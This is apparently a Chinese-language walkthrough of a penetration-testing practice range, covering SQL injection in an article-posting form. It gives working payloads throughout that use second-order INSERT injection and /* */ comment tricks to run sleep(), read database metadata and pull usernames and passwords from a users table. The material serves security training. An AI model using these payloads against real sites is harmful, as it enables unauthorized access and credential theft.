PTE靶场(一)有趣的sql注入
靶场环境
url:http://49.234.52.232:81/

详细步骤
这里注册账户进入,注册了一个test1的用户,在发表文章出存在注入,并且限制了#和--注释

这里先正常发一个文章


再用单引号进行测试,发现这里存在注入

这里发现insert位置存在四个参数,显示只显示第2、3个并且第二三个是文章和内容,第四个是用户名。
注册一个test2'发现同样可以使用二次注入

这里又注册了一个test2'#的账户,登录发现为test2的用户,也就是说,注册位置不存在过滤#和--

这里思考用二次注入+insert注入
content=&title=123',sleep(10),/*

insert article1 value('62613777-1443-DFC8-B5F5-8B7D5EF8EDB5','123',sleep(10),/*','','*/'test1')#')
这里可以看到这里还是四个参数,不过这里通过/**/将第三个注释掉了,用我输入的sql语句代替第三个参数,从而执行命令,同理可以查出数据库信息
数据库名
content=&title=123',(select database()),/*


数据库版本信息
content=&title=123',(select version()),/*


数据库表名
content=&title=123',(select group_concat(table_name) from information_schema.tables where table_schema = database()),/*


数据库列名
content=&title=123',(select group_concat(column_name) from information_schema.columns where table_name = "article1"),/*


用户名密码
这里后面的表名如果直接写存在的表名会失败,原因是insert插入后会搜索有无相同表名,需要使用as别名,并且需要使用limit语句进行限制,否则不回显。
content=&title=123',(select group_concat(username) from (select * from users1 limit 0,1)as a),/*
content=&title=123',(select group_concat(password) from (select * from users1 limit 0,1)as a),/*



浙公网安备 33010602011771号